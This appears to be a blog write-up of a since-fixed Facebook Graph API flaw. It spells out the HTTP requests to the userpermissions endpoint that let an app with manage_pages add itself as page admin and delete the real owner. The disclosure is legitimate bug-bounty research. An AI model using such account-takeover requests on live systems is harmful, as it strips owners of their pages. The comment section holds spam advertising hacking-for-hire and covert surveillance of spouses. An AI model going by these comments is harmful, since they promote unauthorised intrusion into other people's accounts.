Also, learn how to hack facebook accounts in few minutes and their prevention techniques
A security vulnerability in Facebook business manager endpoint allows a third party application to hack Facebook account page with limited permissions and the victim will permanently lose admin access to the page.

By default, Facebook application interface does not allow third party applications to add or modify page admin roles (page roles like a manager, editor, analyst etc..). Third party applications are allowed to perform all the operations like post statuses on your behalf, publish photos, etc.. except adding admin roles because if an application is allowed to add or remove admins then it could add some user as an admin to the page and remove the actual owner permanently.




facebook page hack
In the other hand, there is an endpoint for business pages called userpermissions which allow to add or remove business page admin roles who are already handling the Facebook business.The following request would make target user as admin of the page.

Request :-
POST /<page_id>/userpermissions HTTP/1.1
Host :  graph.facebook.com 
Content-Length: 245
role=MANAGER&user=<target_user_id>&business=<associated_business_id>&access_token=<application_access_token>
 
Response:-
true
After a few minutes of testing, I got to know that removing the business parameter from the request didn’t throw any error and allow us to add anyone as new page admin and delete the actual page admin on the non-business page where the application has manage_pages permission.
That’s it! Whatever the application may be, if it is having the manage_pages permission of the admin then it could hack all of your Facebook account pages in a fraction of seconds.

Also read how facebook hacker hack accounts and their prevention measures

Final Proof of Concept:- 

If you are unable to understand then please watch this video.

Page Takeover :

Request :-
POST /<page_id>/userpermissions HTTP/1.1
Host :  graph.facebook.com 
Content-Length: 245
role=MANAGER&user=<target_user_id>&access_token=<application_access_token>
true
 

Removing Victim

Request :-
Delete /<page_id>/userpermissions HTTP/1.1
Host :  graph.facebook.com 
Content-Length: 245
user=<target_user_id>&access_token=<application_access_token>
 
Response:-
true
That’s all! Target page is hacked!
 

Reported this vulnerability to the Facebook security team and it is completely fixed now. They rewarded me $2500 USD as a part of their bug bounty program.Even though they placed a fix for this vulnerability, please be aware of the permissions you grant to any applications.

Also read best free music download sites apps to stream songs legally.

Permissions dialog box would look like this
Manage pages permission dialog box
if manage_pages is requested please note that this app would be able to manage your pages (post statuses, publish photos etc..).
Don’t worry you can still modify the permissions you have granted to other apps here.
 

Also, read how to make money online tutorial

Facebook reply after few emails 
 
Acknowledgement of Fix

SHARE
  • Anonymous

    great sir 🙂

  • great

  • Can i get full video for hack facebook page

  • http://infoknown.com/testingfb/hacked.php

    can i get Hacked.php file or script

  • you deserve more than 2.500 $

  • :p Great job son

  • Anonymous

    The video could be more usefull if you slow down. And perhaps add some text about what you're doing.

    Keep up the good work! Enjoy, the bounty 😉

  • Nice one 🙂

  • :)) too great, you are very professional, but I can get acquainted

  • Post a vid nigg

  • I CANT UNDERSTAND HELP ME

  • Chan Theara

    Can you get me any videos for hack Facebook account?

  • al

    Some pages deserve to be hacked. Great job jackass

  • This is a memo to the admin. I discovered your Hacking Facebook Pages – Zero Hacks page by searching on Google but it was hard to find as you were not on the front page of search results. I know you could have more traffic to your website. I have found a website which offers to dramatically increase your rankings and traffic to your site: http://dtl.la/tmJ9x I managed to get close to 500 visitors/day using their service, you can also get many more targeted visitors from search engines than you have now. Their services brought significantly more traffic to my website. I hope this helps!

  • Nice one

  • Samantha Cameron

    Could you help please my business page was hacked a month ago after 3 cases with Facebook certified lawyers letters they don’t seem to be bothered even no I have lost my livelihood and income

  • Patrick La Rodgers

    Get all your hack problem solved with the best of hackers available visit [email protected]..Great professional Hackers and they provide quality services..Why give your job to low non efficient Hackers when you can deal with the best..Delay are sometimes Dangerous this group of hackers help me Hack into my lost facebook account and now I got my account back secured thanks to [email protected]

  • Hi a great and useful information. My FB page has been hacked recently and despite repeat reporting to FB, I am yet to hear from them. Can you help me with the way forward.

    • Mary Eleanor

      I have experienced it too, a friend of mine introduced me to explosivehack, i contacted him via hangout. He helped with retrieving of the account.

    • Extreme Hackers

      Hit me up

  • hamlet

    if you need a professional hacker for various hacking needs, i strongly recommend [email protected]. they render a very good service and they are very good at hacking various things, Facebook, , twitter, calls, emails, websites, social medias and many more. i have used this service before so i vouch for them. contact them via email or text: [email protected]

  • Niks Technology
  • Abdul Azim

    Hello Everyone, My name is Abdul Azim, [email protected] is the best out here. if you need hacking into a cheating spouse phone,email,facebook,bank statements, etc..You really need [email protected] com . I read a post by christina angels,she connected me with him he is a masterclass at this hacking jobs, its so discreet and interesting, tell him i referred you please.. i promised i would help in any way since he did the same for me.. cheers””

  • sommer

    I made use the service of cyberexpert101 after I saw someones recommendation about him. Lo and behold, I contacted him and he did a very good hacking job for me. he does various hacking services like monitoring a phone, calls face cook, WhatsApp, emails, text, WhatsApp .He could help you gain access to your partner device and spy on them,you can know alot about someone through there device and email, he also does lots more hacking jobs. he his truly a genius at what he does. Contact him [email protected] for any hacking assistance.

  • ember kardashian

    Hi, im kardashian by name ..i had my friend help me hack into my spouse’s email and calls logs,when i found out he was cheating on me,if you need help you can contact him on [email protected].i think is high time we take this cheater out good luck as you find out what your spouse as been hiding from you . he hacks all most everything you can aslo conyacy him on VIBER +(929)267-7640

  • sommer

    I was referred to [email protected] when I suspected my spouse cheating on me.Now I can access every details I need from my spouse, from text messages, getting mail passwords, registry hacks, whatsapp, Facebook, and snapchat. Right now I have got rest of mind as I’m filing in for my divorce. You should contact if you have any hack related issues.

  • Mariana Stan

    In need of any genuine hacker, kindly contact spymaster for any type of hacking services such as Facebook, yahoo, gmail, mobile phone, game, upgrading scores, lease penetration, SQL, DB, Skype, instagram, websites, software testing . He’s just a cyber guru, he would
    definitely get your work done, he did a great job for me, I can’t stop
    thanking him, for now he’s the best hacker.WHATSAPP HIM ON +16282043317

  • Bob Chum

    Can someone help me to hack this profile, the bastard has just hacked another account of mine and deleted it altogether. If anyone can help. https://www.facebook.com/profile.php?id=100004216817397

  • Silas Stone

    whenever you are unsure that your spouse is cheating and you want to look them up, you can hire a professional in this field for online and other forms of surveillance. http://www.darkwebsolutions.co for more information on this and services rendered.

  • Subash Ghimire

    Fake

  • Sandra

    Contact [email protected] for all kinds of hacking services you need hes good and competent